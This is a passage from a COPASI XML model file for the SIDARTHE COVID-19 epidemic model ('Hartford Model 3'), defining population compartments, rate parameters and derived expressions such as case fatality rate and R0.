<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Compartment_1">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Compartment>
</ListOfCompartments>
<ListOfMetabolites>
<Metabolite key="Metabolite_16" name="I" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_16">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_15" name="S" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_15">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:01Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=InitialConcentration>
</InitialExpression>
</Metabolite>
<Metabolite key="Metabolite_14" name="D" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_14">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:40:41Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_13" name="A" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_13">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:07Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_12" name="R" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_12">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:41:40Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_11" name="T" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_11">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:45:32Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_10" name="E" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_10">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:14Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_9" name="H" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_9">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T14:46:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
<Metabolite key="Metabolite_8" name="UCH" simulationType="reactions" compartment="Compartment_1" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#Metabolite_8">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-28T19:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</Metabolite>
</ListOfMetabolites>
<ListOfModelValues>
<ModelValue key="ModelValue_110" name="alpha" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_110">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:14Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_109" name="beta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_109">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_108" name="gamma" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_108">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:18Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_107" name="delta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_107">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:20Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelValue>
<ModelValue key="ModelValue_106" name="epsilon" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_106">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:22Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_105" name="zeta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_105">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:26:48Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_104" name="eta" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_104">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:27:02Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_103" name="theta" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_103">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:28:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_102" name="kappa" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_102">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:03Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_101" name="lambda" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_101">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:30Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_100" name="mu" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_100">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:50Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_99" name="nu" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_99">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:29:55Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_98" name="xi" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_98">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:39Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_97" name="rho" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_97">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:42Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_96" name="sigma" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_96">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:31:45Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_95" name="tau" simulationType="fixed" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_95">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T15:32:02Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
</ModelValue>
<ModelValue key="ModelValue_94" name="DRT" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_94">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T18:54:35Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_93" name="IDARTHE" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_93">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T19:08:58Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_92" name="IDART" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_92">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T19:10:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_91" name="Recovered" simulationType="ode" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_91">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T20:39:15Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=Concentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_90" name="Diagnosed Cumulative infected" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_90">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-24T20:50:53Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_89" name="r1" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_89">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:31:35Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_88" name="r2" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_88">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:32:25Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_87" name="r3" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_87">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:33:26Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_86" name="r4" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_86">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:34:17Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_85" name="r5" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_85">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:34:51Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value>
</Expression>
</ModelValue>
<ModelValue key="ModelValue_84" name="Perceived CFR" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_84">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:36:06Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>/((<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value>*(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value>))/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value>)*(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=Concentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>)+(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=Value>)/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value>*(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=Concentration>))
</Expression>
</ModelValue>
<ModelValue key="ModelValue_83" name="CFR" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_83">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-25T17:45:28Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S],Reference=Concentration>)
</Expression>
</ModelValue>
<ModelValue key="ModelValue_82" name="R0" simulationType="assignment" addNoise="false">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelValue_82">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-03-26T00:00:24Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<Expression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=Value>/<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3],Reference=Value>)+<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=Value>/(<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1],Reference=Value>*<CN=Root,Model=SIDARTHE Hartford Model 